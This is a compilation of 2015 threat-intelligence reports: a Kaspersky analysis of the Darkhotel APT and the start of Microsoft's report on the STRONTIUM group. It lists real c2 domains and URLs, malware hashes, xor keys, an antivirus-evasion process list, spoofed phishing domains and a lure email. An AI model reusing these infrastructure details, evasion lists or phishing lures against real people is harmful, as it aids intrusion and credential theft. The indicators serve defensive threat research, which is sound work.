vulnerabilities to penetrate corporate networks IoT (Internet of Things) devices can be found in almost every corporate network. Research conducted in 2015 has shown that there are a number of security problems with these devices and cybercriminals are likely to exploit them because they offer a convenient foothold at the initial stage of penetrating a corporate network. More rigid security standards, cooperation with law enforcement agencies In response to the growing number of computer incidents in business environments and the changes to the overall cyber-threat landscape, regulatory authorities will develop new security standards and update those already in effect. Organizations that are interested in the integrity and security of their digital values will cooperate more actively with law enforcement agencies, or find themselves obliged to do so by the standards mentioned above. This may lead to more concerted efforts to catch cybercriminals, so expect to hear about new arrests in 2016. KASPERSKY SECURITY BULLETIN 2015 WHAT TO DO? In 2015, we have seen cybercriminals begin to actively use APT attack methods to penetrate company networks. We are talking here about reconnaissance that aims to identify weak spots in a corporate infrastructure and gathering information about employees. There is also the use of spear phishing and waterhole attacks, the active use of exploits to execute code and gain administrator rights, the use of legitimate software along with Trojans for remote administration, research of the targeted network and abuse of password restoration software. All this requires the development of methods and techniques to protect corporate networks. As for specific recommendations, the TOP 35 cyber-intrusion mitigation strategies developed by the Australian Signals Directorate (ASD) should be consulted first of all. Through comprehensive, detailed analysis of local attacks and threats, ASD has found that at least 85% of targeted cyber intrusions could be mitigated by four basic strategies. Three of them are related to specialized security solutions. Kaspersky Lab products include technological solutions to cover the first three major strategies. Below is a list of the four basic strategies that reduce the possibility of a successful targeted attack: Use application whitelisting to help prevent malicious software and unapproved programs from running Patch applications such as Java, PDF viewers, Flash, web browsers and Microsoft Office Patch operating system vulnerabilities Restrict administrative privileges to operating systems and applications, based on user duties. For detailed information about the ASD mitigation strategies, consult the threat mitigation article in the Securelist encyclopedia. Another important factor is the use of the latest threat data, i.e. threat intelligence services (Kaspersky Lab, for example, provides its own Kaspersky Intelligence Service). A timely configuration and checkup of the corporate network using this data will help protect against attacks or detect an attack at an early stage. EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR The basic principles of ensuring security in corporate networks remain unchanged: Train staff. Maintaining information security is not only the job of the corporate security service but also the responsibility of every employee. Organize security procedures. The corporate security system must provide an adequate response to evolving threats. Use new technologies and methods. Each added layer of protection helps reduce the risk of intrusion. KASPERSKY SECURITY BULLETIN 2015 Academy Business Eugene SecureList ThreatPost Daily Securelist, the resource for Kaspersky Lab experts technical research, analysis, and thoughts. Follow us Kaspersky Lab global Website Academy Business Eugene ThreatPost Daily Eugene Kaspersky Blog Daily Kaspersky Lab B2C Blog Business Daily Kaspersky Lab B2B Blog Academy Business ThreatPost Daily Kaspersky Lab security news service Academy Business Daily Kaspersky Lab Academy Darkhotel s attacks in 2015 10 ao t 2015 Darkhotel APT attacks dated 2014 and earlier are characterized by the misuse of stolen certificates, the deployment of .hta files with multiple techniques, and the use of unusual methods like the infiltration of hotel Wi-Fi to place backdoors in targets systems. In 2015, many of these techniques and activities remain in use. However, in addition to new variants of malicious .hta, we find new victims, .rar attachments with RTLO spearphishing, and the deployment of a 0day from Hacking Team. The Darkhotel APT continues to spearphish targets around the world, with a wider geographic reach than its previous botnet buildout and hotel Wi-Fi attacks. Some of the targets are diplomatic or have strategic commercial interests. The location of Darkhotel s targets and victims in 2015: North Korea Russia South Korea Japan Bangladesh Thailand India Mozambique Germany 2015 Darkhotel .hta and backdoor-related, exploit-related and c2 sites: storyonboard[.]net tisone360[.]org openofficev[.]info saytargetworld[.]net error-page[.]net eonlineworld[.]net enewsbank[.]net thewordusrapid[.]com 2015 spearphishing incident attachment name subset: schedule(6.1~6).rar -> schedule(6.1~6)_?gpj.scr schedule(2.11~16).rar -> schedule(2.11~16)_?gpj.scr congratulation.rar -> congratulation_?gpj.scr letter.rar -> letter_?gpj.scr Consistent use of obfuscated .hta downloaders Whether the infection is achieved through spearphishing, physical access to a system or the Hacking Team Flash 0day, there frequently seems to be a common method for a newly-infected system to communicate with Darkhotel s c2: A lightly obfuscated (double escaped set of javascript variable values) script maintained within an .hta file writes an executable to disk and executes it. It is interesting that this particular group has for years now deployed backdoor and downloader code in the form of .hta files. In 2010, we observed it re-purposing articles on North Korea by the US think-tank, Brookings Institute, in order to attack North Korean-related targets with malicious code buried in .hta files. It also emailed links to its malicious .hta files to North Korean tourist groups, economists with an interest in North Korea, and more. It s somewhat strange to see such heavy reliance on older Windows-specific technology like HTML applications, introduced by Microsoft in 1999. From the recent sendspace.servermsys.com/downloader.hta: After execution and escaping a couple of variables, the .hta uses ancient Adodb.stream components in order to write out a string xor d with 0x3d as an executable file and runs it. This code results execution internet_explorer_Smart_recovery.exe 054471f7e168e016c565412227acfe7f, and a hidden browser window phoning back to its c2. In this case, it seems that Darkhotel operators are checking as to whether or not the victim s default browser is Internet Explorer, as all versions of IE return the value and other browsers leave appMinorVersion undefined. This data collection seems somewhat odd, because .hta files are supported and run by mshta.exe on Windows systems only, still delivered with Windows 8. Perhaps it is an artefact from early development of the code. Here is a recent version: hxxp://sendspace.servermsys.com/readme.php?type=execution&result=created_and_executed&info=" + navigator.appMinorVersion + The internet_explorer_Smart_recovery.exe file is a simple obfuscated downloader. A series of xor 0x28 loops decrypt the contents of a self-deletion batch file, which is then written to disk and executed. Later in the execution, a more complex rc4 loop decrypts the download url and other strings and imports. When finished, this url string decryption and connectback looks like http://sendspace.servermsys.com/wnctprx. file downloaded (b1f56a54309147b07dda54623fecbb89) to .tmp file in %temp%, executed, and the downloader exits. This larger file is a backdoor/downloader that includes ssh functionality, and drops its keys to disk for ssh interaction. We find older Darkhotel information stealers dropped and run on the system by these downloaders. Spearphishing and .rar Attachments with RTLO The Darkhotel APT will relentlessly spearphish specific targets in order to successfully compromise systems. Some targets are spearphished repeatedly with much the same social-engineering schemes. For example, the attachment schedule(2.11~16).rar could be sent on February 10th, with Darkhotel returning to the same targets in late May for a second attempt with attachment schedule(6.1~6).rar It consistently archives RTLO .scr executable files within .rar archives, in order to appear to the target as innocuous .jpg files. These executable files are lite droppers, maintaining these decoy jpeg files, and code to create an lnk downloader. When the target attempts to open what they think is a jpg image file, the executable code runs and drops a jpg image to disk, then opens it with mspaint.exe in the background. This congratulations document is in Korean, revealing a likely characteristic of the intended target. While the image is displayed, the code drops an unusual mspaint.lnk shortcut to disk and launches it. The shortcut maintains a multiline target shell script. This technique is also used by other APTs as persistence mechanisms, as documented by our Mandiant colleagues. The 64kb lnk file is downloader code: When this lnk file is executed, it begins an AJAX-based download process for the unzip.js file (a07124b65a76ee7d721d746fd8047066) on openofficev.info. This is another wscript file implementing AJAX to download and execute a relatively large compiled executable: This executable code is saved to %temp%\csrtsrm.exe and executed there. It is a relatively large executable (~1.2 mb) that injects malicious code and spawns remote threads into legitimate processes. Stolen certificates and evasion The group appears to maintain a stockpile of stolen certificates and deploys their downloaders and the backdoors signed with them. Some of the more recent revoked certificates include ones that belong to Xuchang Hongguang Technology Co. Ltd. Darkhotel now tends to hide its code behind layers of encryption. It is likely that it has slowly adapted to attacking better-defended environments and prefers not to burn these stolen digital certificates. In previous attacks it would simply have taken advantage of a long list of weakly implemented, broken certificates. Not only are its obfuscation techniques becoming stronger, but its anti-detection technology list is growing. For example, this signed downloader (d896ebfc819741e0a97c651de1d15fec) decrypts a set of anti-malware strings in stages to identify defensive technologies on a newly-infected system, and then opens each process, looking for a matching image name: c:\avast! sandbox\WINDOWS\system32\kernel32.dll - Avast! avp.exe - Kaspersky Lab mcagent.exe;mcuicnt.exe - Intel/Mcafee bdagent.exe - BitDefender ravmon.exe,ravmond.exe - Beijing Rising 360tray.exe,360sd.exe,360rp.exe,exeMgr.exe - Qihoo 360 ayagent.aye,avguard.;avgntsd.exe - Avira Antivirus ccsvchst.exe,nis.exe - Symantec Norton avgui.exe,avgidsagent.exe,avastui.exe,avastsvc.exe - Avast! msseces.exe;msmpeng.exe - Microsoft Security Essentials and Microsoft Anti-Malware Service AVK.exe;AVKTray.exe - G-Data avas.exe - TrustPort AV tptray.exe - Toshiba utility fsma32.exe;fsorsp.exe - F-Secure econser.exe;escanmon.exe - Microworld Technologies eScan SrvLoad.exe;PSHost.exe - Panda Software egui.exe;ekrn.exe - ESET Smart Security pctsSvc.exe;pctsGui.exe - PC Tools Spyware Doctor casc.exe;UmxEngine.exe - CA Security Center cmdagent.exe;cfp.exe - Comodo KVSrvXP.exe;KVMonXP.exe - Jiangmin Antivirus nsesvc.exe;CClaw.exe - Norman V3Svc.exe - Ahnlab guardxup. - IKARUS FProtTray. - F-Prot op_mon - Agnitum Outpost vba332ldr.;dwengine. - DrWeb Even the identifying information that the backdoor seeks from a system is not decrypted until runtime. Like the information-stealer component documented in our previous Darkhotel technical report, this component seeks to steal a set of data with which to identify the infected system. Much of the information is collected with the same set of calls, i.e. kernel32.GetDefaultSystemLangID, kernel32.GetVersion, and kernel32.GetSystemInfo: Default system codepage Network adapter information Processor architecture Hostname and IP address Windows OS and Service Pack versions Essentially, much of this information-stealer code is the same as that observed in previous attacks. Tisone360.com, Visits, and Hacking Team Flash 0day The tisone360.com site was especially interesting to us. In April 2015, Darkhotel was email-phishing with links to earlier (cve-2014) Flash exploits, and then, at the beginning of July, it began to distribute what is reported to be a leaked Hacking Team Flash 0day. It looks like the Darkhotel APT may have been using the leaked HackingTeam Flash 0day to target specific systems. We can pivot from tisone360.com to identify some of this activity. The site was up and active as late as 22 July, 2015. However, this looks to be a small part of its activity. In addition to the icon.swf HT 0day (214709aa7c5e4e8b60759a175737bb2b), it looks as though the tisone360.com site was delivering a Flash CVE-2014-0497 exploit in April. We reported the related vulnerability to Adobe in January 2014, when it was being used by the Darkhotel APT. Recently, the Darkhotel APT has maintained multiple working directories on this site. It is the ims2 directory that is the most active. It contains a set of backdoors and exploits. The most interesting of these is the reported Hacking Team Flash 0day, icon.swf. In the days following the public mention of this server, the crew slowly tightened down open access to /ims2/. Either way, the contents continued to be actively used. icon.swf (214709aa7c5e4e8b60759a175737bb2b) -> icon.jpg (42a837c4433ae6bd7490baec8aeb5091) -> %temp%\RealTemp.exe (61cc019c3141281073181c4ef1f4e524) After icon.jpg is downloaded by the flash exploit, it is decoded with a multibyte xor key 0xb369195a02. It then downloads further components. s interesting to note that the group appears to be altering the compilation and linker timestamps of its executable code to dates in 2013. We see this across multiple samples deployed and observed for the first time in mid-2015, including the icon.jpg downloader. A log of visits to the site directory records that the directory was set up on July 8th. A handful of visits to a specific url on the server from five systems based in the following locations were recorded on the 8th and 9th. Several of these are likely to be Darkhotel APT targets: Germany South Korea China (likely to be research) Japan However, one of those systems hammered the site on the 9th, visiting almost 12,000 times in 30 minutes. This volume of traffic is likely to represent a noisy scanning research attempt and not someone DoS the site: Recorded site visits following the 9th are likely to be unreliable and may be more researchers, responding to the growing notoriety of the site following the public reports on the 9th. Many of these approximately 50 visits come from a subset of the above systems and are repeated multiple times. Visits from the following locations occurred on or after the 10th: Germany (likely to be research) Ukraine (likely to be research) Amazon Web Services, multiple locations (likely to be research) Googlebot, multiple locations Ireland (likely to be research) Russia Brazil China Finland Canada Taiwan France (likely to be research) Czech Republic A consistent attack flow The Darkhotel group tends to stick with what works. For example, for years we saw repeated use of spearphishing targets directly with .hta files. Now, as with the tisone360.com site above, we have seen repeated use in 2015 of a creative chain of delivery sets. downloader -> hta checkin -> info stealer -> more compiled components. dropper -> wsh script -> wsh script -> info stealer -> more compiled components spearphish -> dropper -> hta checkin -> downloader -> info stealer While a chain of delivery that includes obfuscated scripts within .hta files occurred as far back as 2011, the volume appears to have picked up in 2014 and now 2015. openofficev[.]info (2015) office-revision[.]com (2014) online.newssupply[.]net (2011) Hiding infrastructure in plain sight The group is now more vigilant in maintaining its sites, tightening up configuration and response content. Right now, its c2 responds with anti-hero images of Drinky Crow from the alt Maakies cartoon: Other Darkhotel c2s tend to blend in with random sites on the web when incorrect or missing pages are visited. They are ripping images either from FOTOLIA or articles on artisanal ice cream makers here: HTA md5: 021685613fb739dec7303247212c3b09 1ee3dfce97ab318b416c1ba7463ee405 2899f4099c76232d6362fd62ab730741 2dee887b20a06b8e556e878c62e46e13 6b9e9b2dc97ff0b26a8a61ba95ca8ff6 852a9411a949add69386a72805c8cb05 be59994b5008a0be48934a9c5771dfa5 e29693ce15acd552f1a0435e2d31d6df fa67142728e40a2a4e97ccc6db919f2b fef8fda27deb3e950ba1a71968ec7466 Spearphish attachments md5: 5c74db6f755555ea99b51e1c68e796f9 c3ae70b3012cc9b5c9ceb060a251715a 560d68c31980c26d2adab7406b61c651 da0717899e3ccc1ba0e8d32774566219 d965a5b3548047da27b503029440e77f dc0de14d9d36d13a6c8a34b2c583e70a 39562e410bc3fb5a30aca8162b20bdd0 (first seen late 2014, used into 2015) e85e0365b6f77cc2e9862f987b152a89 (first seen late 2014, used into 2015) 2015 large downloader md5: 5e01b8bc78afc6ecb3376c06cbceb680 61cc019c3141281073181c4ef1f4e524 3d2e941ac48ae9d79380ca0f133f4a49 fc78b15507e920b3ee405f843f48a7b3 da360e94e60267dce08e6d47fc1fcecc 33e278c5ba6bf1a545d45e17f7582512 b1f56a54309147b07dda54623fecbb89 009d85773d519a9a97129102d8116305 Infostealers dropped in 2015 61637a0637fb25c53f396c305efa5dc5 a7e78fd4bf305509c2fc1b3706567acd Subhosts and urls: tisone360.com/img_h/ims2/icon.swf tisone360.com/img_h/ims2/1.php tisone360.com/img_h/ims2/icon.jpg tisone360.com/noname/img/movie.swf tisone360.com/noname/minky/face.php tisone360.com/htdoc/ImageView.hta tisone360.com/htdoc/page1/page.html daily.enewsbank.net/wmpsrx64 daily.enewsbank.net/newsviewer.hta saytargetworld.net/season/nextpage.php sendspace.servermsys.com/wnctprx error-page.net/update/load.php photo.storyonboard.net/wmpsrx64 photo.storyonboard.net/photoviewer.hta photo.storyonboard.net/readme.php unionnewsreport.net/aeroflot_bonus/ticket.php www.openofficev.info/xopen88/office2 www.openofficev.info/dec98/unzip.js www.openofficev.info/open99/office32 www.openofficev.info/decod9/unzip.js Parallel and Previous Research CVE-2014-0497 A 0-day Vulnerability https://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ Hacking Team Flash Zero-Day Tied To Attacks In Korea and Japan on July 1 http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-tied-to-attacks-inkorea-and-japan-on-july-1/ The Darkhotel APT https://securelist.com/blog/research/66779/the-darkhotel-apt/ propos de Kaspersky Lab Kaspersky Lab est la premi re entreprise priv e de cyber-s curit au niveau mondial et l une de celles enregistrant la croissance la plus rapide. Depuis sa cr ation en 1997, Kaspersky Lab n cess innover et de faire voluer la cyber-s curit entreprise offre des solutions de s curit digitale et des services d intelligence pens s pour les consommateurs, les PME et les grandes entreprises. Pr sente dans pr s de 200 pays, prot geant plus de 400 millions d utilisateurs dans le monde, la soci est reconnue comme l un des quatre premiers fournisseurs mondiaux de solutions Endpoint pour utilisateurs finaux (IDC, 2014). Pour en savoir plus : www.kaspersky.fr Pour en savoir plus : www.kaspersky.com/fr/ Pour plus d informations sur l actualit virale : http://www.securelist.com Salle de presse virtuelle Kaspersky Lab : http://newsroom.kaspersky.eu/fr/ Blog fran ais de Kaspersky Lab : http://blog.kaspersky.fr/ Hotwire pour Kaspersky Lab Marion Delmas / Eric Le Yavanc / Marion Larivi 01 43 12 55 62 / 47 / 64 KasperskyFrance@hotwirepr.com Microsoft Security Intelligence Report Volume 19 | January through June, 2015 This document is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED, OR STATUTORY, AS TO THE INFORMATION IN THIS DOCUMENT. This document is provided as-is. Information and views expressed in this document, including URL and other Internet website references, may change without notice. You bear the risk of using it. Copyright 2015 Microsoft Corporation. All rights reserved. The names of actual companies and products mentioned herein may be the trademarks of their respective owners. Authors Charlie Anthe Cloud and Enterprise Security Jeff Jones Corporate Communications Anthony Penta Safety Platform Patti Chrzan Microsoft Digital Crimes Unit Nam Ng Worldwide Cybersecurity & Data Protection Ina Ragragio Microsoft Malware Protection Center Niall O'Sullivan Microsoft Digital Crimes Unit Tim Rains Worldwide Cybersecurity & Data Protection Elia Florio Microsoft Malware Protection Center Chad Foster Bing Paul Henry Wadeware LLC Daryl Pecelj Microsoft IT Information Security and Risk Management Paul Rebriy Bing Contributors Peter Cap Microsoft Malware Protection Center Ben Hope Microsoft Malware Protection Center Bulent Egilmez Office 365 - Information Protection Yurika Kakiuchi CSS Japan Security Response Team Tanmay Ganacharya Microsoft Malware Protection Center Jenn LeMond Microsoft IT Kathryn Gillespie Microsoft IT ABOUT THIS REPORT Alisha Mark Corporate Communications Jeff Glover Microsoft IT Dolcita Montemayor Microsoft Malware Protection Center Roger Grimes Microsoft IT Daric Morton Microsoft Services Satomi Hayakawa CSS Japan Security Response Team Jeong Mun Microsoft Malware Protection Center Cody Nicewanner Operating Systems Group Wendi Okun Legal & Corporate Affairs Ferdinand Plazo Microsoft Malware Protection Center Laura A. Robinson Microsoft IT Norie Tamura CSS Japan Security Response Team Steve Wacker Wadeware LLC Vladimir Zubko Microsoft Malware Protection Center Table of contents About this report .......................................................................................................................... v Foreword ........................................................................................................................................ vi Featured intelligence STRONTIUM: A profile of a persistent and motivated adversary .................................. 3 Adversary profile ............................................................................................................................... 3 How STRONTIUM attacks a target ............................................................................................... 4 Establishing control ..........................................................................................................................10 Taking action .....................................................................................................................................13 Guidance.............................................................................................................................................16 Focus on Brazil: Win32/Banload and Banking Malware ................................................ 21 Distribution and trends ...................................................................................................................21 Propagation and technical details .............................................................................................. 23 Guidance............................................................................................................................................ 26 Worldwide threat assessment Vulnerabilities .............................................................................................................................. 31 Industry-wide vulnerability disclosures ......................................................................................31 Vulnerability severity ...................................................................................................................... 33 Vulnerability complexity ................................................................................................................ 34 Operating system, browser, and application vulnerabilities................................................ 35 Microsoft vulnerability disclosures .............................................................................................. 37 Guidance: Developing secure software .................................................................................... 38 Exploits...........................................................................................................................................40 Exploit families .................................................................................................................................. 42 Exploit kits .......................................................................................................................................... 44 Java exploits ...................................................................................................................................... 47 Operating system exploits ............................................................................................................ 50 Document exploits .......................................................................................................................... 52 Adobe Flash Player exploits .......................................................................................................... 52 Browser exploits ............................................................................................................................... 53 Exploit detection with Internet Explorer and IExtensionValidation .................................... 55 Exploits used in targeted attacks ................................................................................................. 56 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 iii Malware and unwanted software ......................................................................................... 58 Brantall, Rotbrow, and Filcout...................................................................................................... 60 Malware and unwanted software worldwide .......................................................................... 60 Microsoft and partners disrupt the Simda.AT botnet ........................................................... 68 Threat categories ............................................................................................................................ 69 Threat families .................................................................................................................................. 74 Home and enterprise threats ....................................................................................................... 82 Security software use ..................................................................................................................... 87 Advanced Threat Protection takes malware defense to the next level ............................ 94 Guidance: Defending against malware ..................................................................................... 98 Malicious websites..................................................................................................................... 99 Phishing sites ...................................................................................................................................100 Malware hosting sites ...................................................................................................................103 Drive-by download sites ..............................................................................................................105 Guidance: Protecting users from unsafe websites ................................................................108 Mitigating risk Malware at Microsoft: Dealing with threats in the Microsoft environment ........... 111 Antimalware usage ......................................................................................................................... 111 Malware detections ....................................................................................................................... 112 Malware infections ......................................................................................................................... 115 What IT departments can do to protect their users ............................................................. 117 Appendixes Appendix A: Threat naming conventions ......................................................................... 123 Appendix B: Data sources ....................................................................................................... 125 Appendix C: Worldwide encounter and infection rates ............................................... 127 Glossary ........................................................................................................................................ 132 Threat families referenced in this report ........................................................................... 141 Index .............................................................................................................................................148 iv ABOUT THIS REPORT About this report The Microsoft Security Intelligence Report (SIR) focuses on software vulnerabilities, software vulnerability exploits, malware, and unwanted software. Past reports and related resources are available for download at www.microsoft.com/sir. We hope that readers find the data, insights, and guidance provided in this report useful in helping them protect their organizations, software, and users. Reporting period This volume of the Microsoft Security Intelligence Report focuses on the first and second quarters of 2015, with trend data for the last several quarters presented on a quarterly basis. Because vulnerability disclosures can be highly inconsistent from quarter to quarter and often occur disproportionately at certain times of the year, statistics about vulnerability disclosures are presented on a half-yearly basis. Throughout the report, half-yearly and quarterly time periods are referenced using the nHyy or nQyy formats, in which yy indicates the calendar year and n indicates the half or quarter. For example, 1H15 represents the first half of 2015 (January 1 through June 30), and 4Q14 represents the fourth quarter of 2014 (October 1 through December 31). To avoid confusion, please note the reporting period or periods being referenced when considering the statistics in this report. Conventions This report uses the Microsoft Malware Protection Center (MMPC) naming standard for families and variants of malware. For information about this standard, see Appendix A: Threat naming conventions on page 123. In this report, any threat or group of threats that share a common unique base name is considered a family for the sake of presentation. This consideration includes threats that may not otherwise be considered families according to common industry practices, such as generic detections. For the purposes of this report, a threat is defined as a malware or unwanted software family or variant that is detected by the Microsoft Malware Protection Engine. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 v Foreword Welcome to Volume 19 of the Microsoft Security Intelligence Report (SIR). I contributed to the SIR for almost ten years now. If I had to describe how the threat landscape has changed during that time using only one word, I d say it cumulative. Ten years ago we reported on a range of threats that included trojans, worms, trojan downloaders & droppers, exploits, bots (backdoor trojans), among others. These types of threats were primarily motivated by a desire to disrupt networks, as worms did years earlier, or to seek profit. Fast forward ten years and we still see the same categories of threats and even some of the same threat families employed. During this time, attackers have had to evolve their tactics to get malware onto computers that have also been evolving with continuously elevating security levels. As vulnerabilities in operating systems have become harder to find and exploit, attackers have relied increasingly on social engineering to compromise computer systems. In addition to these types of attacks, we have seen more threat actors with different motivations emerge over the years, including hacktivists and practitioners of military and economic espionage. Rogue security software or fake antivirus software that was used to trick people into installing malware and disclosing credit card information to attackers has been replaced by ransomware that seeks to extort victims by encrypting their data. Commercial exploit kits now dominate the list of top exploits we see trying to compromise unpatched computers, which means the exploits that computers are exposed to on the Internet are professionally managed and constantly optimized at an increasingly quick rate. Targeted attacks have become common as opposed to the exception. Attackers continue to try to use the tactics that they did years ago, and have added to their repertoire of dirty tricks. This is why I use the word cumulative describe how things have changed. If I could use a second word to describe how they have changed I would use accelerated. The focus and pace that some attackers have been demonstrating recently have certainly increased over time. vi FOREWORD Notice I didn t use the word advanced. Although attackers have accumulated more tricks and tactics and seem to be using them in a more focused, fastpaced way, they still focus on a relatively small number of ways to compromise computers, including: Unpatched vulnerabilities Misconfigured computers Weak passwords Social engineering The great news if you are a CISO or security professional is that you ve never had so much information and so many security capabilities and tools as you do today to defend your organization s data. Please enjoy the report. Tim Rains Chief Security Advisor Enterprise Cybersecurity Group Microsoft MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 vii Featured intelligence STRONTIUM: A profile of a persistent and motivated adversary .......................................................................................... 3 Focus on Brazil: Win32/Banload and Banking Malware .. 21 FOREWORD STRONTIUM: A profile of a persistent and motivated adversary A research team at the Microsoft Malware Protection Center (MMPC) proactively monitors the threat landscape for emerging threats. Part of this job involves keeping tabs on targeted attack groups, which are often the first ones to introduce new exploits and techniques that are later used widely by other attackers. One such group, which Microsoft has code-named STRONTIUM, is of particular interest because of its aggressive, persistent tactics and techniques, and its repeated use of new zero-day exploits to attack its targets. Microsoft is sharing some of the information it has gathered on this prominent attack group in the hope that it will raise awareness of the group s activities and help organizations take immediate advantage of available mitigations that can significantly reduce the risks that they face from this and similar groups. Adversary profile STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is Microsoft s code name for this group, following its internal practice of assigning chemical element names to activity groups; other researchers have used code names such as APT28,1 Sednit,2 Sofacy,3 and Fancy Bear as labels for a group or groups that have displayed 1 APT28: A Window into Russia s Cyber Espionage Operations?, FireEye, Inc., October 14, 2014, https://www2.fireeye.com/apt28.html. 2 Loucif Kharouni et al., Operation Pawn Storm: Using Decoys to Evade Detection, Trend Micro, October 22, 2014, www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-usedecoys-deliver-sednit. 3 Tactical Intelligence Bulletin: Sofacy Phishing, PwC, October 22, 2014, pwc.blogs.com/files/tacticalintelligence-bulletin---sofacy-phishing-.pdf. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 3 activity similar to the activity observed from STRONTIUM. The group s persistent use of spear phishing tactics and access to previously undiscovered zero-day exploits have made it a highly resilient threat. How STRONTIUM attacks a target STRONTIUM primarily uses two kinds of attack. It uses spear phishing phishing attempts targeted at specific individuals to perform reconnaissance and steal login credentials to gather information about potential highvalue targets associated with the institution under attack. Whereas most Following the reconnaissance phase, it uses a variety of modern methods to infect the computers of high-value targets with untargeted malware, often by exploiting previously unknown vulnerabilities in browser add-ons and other software. malware is ultimately profitoriented, STRONTIUM mainly seeks sensitive information. Reconnaissance and target identification STRONTIUM typically begins its attack on an institution by identifying and profiling potential victims with connections to the institution. Microsoft has seen indications that STRONTIUM relies on open-source intelligence (OSINT), such as email lists and information harvested from public forums or social networking sites, to identify targets for spear phishing. Microsoft also believes that STRONTIUM relies on past successful phishing attacks to augment its dataset, by making use of any email communications it can identify between prior targets and the current target. STRONTIUM casts a wide net with its reconnaissance activities, seeking login credentials for email and other systems from a large number of people, which it then weeds through to assess its value. Microsoft believes STRONTIUM used its spear phishing attacks to target several thousand individuals during the first half of 2015. Although STRONTIUM isn t choosy with its targets, it is persistent. When STRONTIUM identifies an individual to target, the group will repeatedly conduct spear phishing attacks against it over a long duration, possibly a year or more, until one of the attempts succeeds. STRONTIUM s spear phishing modus operandi focuses on making the recipient concerned about unauthorized use of an account. A recent attack campaign involved sending messages with the subject line Privacy alert purporting to originate from a well-known email service, informing the user that their account STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY has been accessed from an unrecognized device in a different country. Because the targeted individuals are often professionals who have access to sensitive information, this can be an effective way to entice users to click a change password link that actually leads to a webpage under the attacker s control. Figure 1. An example of a credential-stealing spear phishing message sent by STRONTIUM Typically, the link will lead to a domain name that is similar to a legitimate domain name used by the service in an effort to fool the user into thinking the message is legitimate. Figure 2 lists some examples. Figure 2. Examples of domain names spoofed by STRONTIUM in recent attacks Legitimate domain name Spoofed domain name controlled by STRONTIUM accounts.google.com accounts.g00qle.com us-mg6.mail.yahoo.com us-mg6mailyahoo.com profile.live.com privacy-live.com mail.ukr.net mail-ukr.net www.nato.int nato-news.com www.bbc.com bbc-press.org www.osce.org osce-press.com www.eff.org electronicfrontierfoundation.org If the attack is successful, STRONTIUM uses the captured credentials to access the victim s email account to identify additional targets and for additional analysis and attacks. Even if the recipient doesn t enter their login credentials MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 5 into the malicious webpage, the act of clicking the link can provide STRONTIUM with valuable information. In addition to providing STRONTIUM with the recipient s IP address, clicking the link transmits a user-agent string to the web server that typically includes details about the recipient s browser and operating system versions, and sometimes includes information about the browser addons the recipient is using. This can provide STRONTIUM with insight into what software is deployed in the organization, and possibly help it plan future driveby download activities. Figure 3. JavaScript is used to collect information about the visitor s browser for drive-by download attacks Attacking the target The ultimate goal of the reconnaissance phase is to compile a list of high-value individuals who have information or access that STRONTIUM wants. With this list at hand, the group moves to the next phase of operations: installing malware on STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY the high-value targets computers, and thereby gaining access to the institution s network. STRONTIUM primarily uses email to deliver malware to targeted individuals, although some researchers have reported delivery through social networking channels as well. Typical messages, such as the one shown in Figure 4, are tied to current events: an upcoming conference, for example, or a real world news event in which the recipient might be interested. STRONTIUM s email senders are usually associated with well-known email providers, and use plausibleseeming names and titles that are designed to give the messages credibility. Depending on the specific attack used, the message typically includes a link for additional information, which will launch a drive-by download or social engineering attack when clicked. Other messages include malicious attachments instead of links, typically a document file containing an exploit. Figure 4. An example of a lure email message sent by STRONTIUM Subject: Mission_In_Central_African_Republic *Dear Sir!* Please be advised that The Spanish Army personnel and a large number of the Spanish Guardia Civil officers currently deployed in the Central African Republic (CAR) as part of the European EUFOR RCA mission will return to Spain in early March as the mission draws to a close. Visit http://eurasiaglobalnews.com/YYY-spains-armed-forces-conclude-mission-centralafrican-republic/ for the addition info. *Best regards,* *Capt. John Smith, Defence Adviser, Public Diplomacy Division NATO, Brussels defence.adviser.smith@gmail.com * Little is known about how and what information STRONTIUM gathers to tailor its attacks to specific high-value individuals. As discussed earlier, the user-agent and potential fingerprinting information gathered from phishing victims may play a part in planning the individual attacks by giving the group insight into what software may be in widespread use within the institution. In general, MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 7 STRONTIUM can take advantage of a variety of attacks that span general tactics and cover a wide range of technologies, including zero-day exploits. Zero-day exploits exploits that target vulnerabilities for which the affected software vendor has not yet released a security update form a significant part of STRONTIUM s arsenal. It is not yet clear whether the group researches vulnerabilities and develops the exploits themselves, or purchases them on the black market. Microsoft researchers have observed STRONTIUM moving swiftly to take advantage of newly disclosed vulnerabilities; notably, the group Zero-day exploits deployed a number of zero-day exploits disclosed in a July 2015 leak of information from the security company Hacking Team. In form a significant other cases, STRONTIUM deployed exploits within days of a part of vendor releasing a security update that addressed the associated vulnerability, relying on the fact that not everyone STRONTIUM s installs security updates immediately after they are published. arsenal. The exploits used by STRONTIUM include a wide range of products from multiple vendors, including Adobe Flash Player, the Oracle Java Runtime Environment (JRE), Microsoft Word and Internet Explorer, and some components of the Windows kernel. Figure 5 lists some of the exploits used by STRONTIUM in recent campaigns, including a number of zero-day exploits (shaded). All of the vulnerabilities listed in Figure 5 were quickly addressed by security updates as part of the vendors rapid response processes. (See Guidance on page 16 for information about how organizations can use up-todate software to defend against targeted attacks.) Figure 5. Some of the exploits used by STRONTIUM in attack campaigns in 2014 and 2015 Remote code execution through browser drive-by Remote code execution through malicious 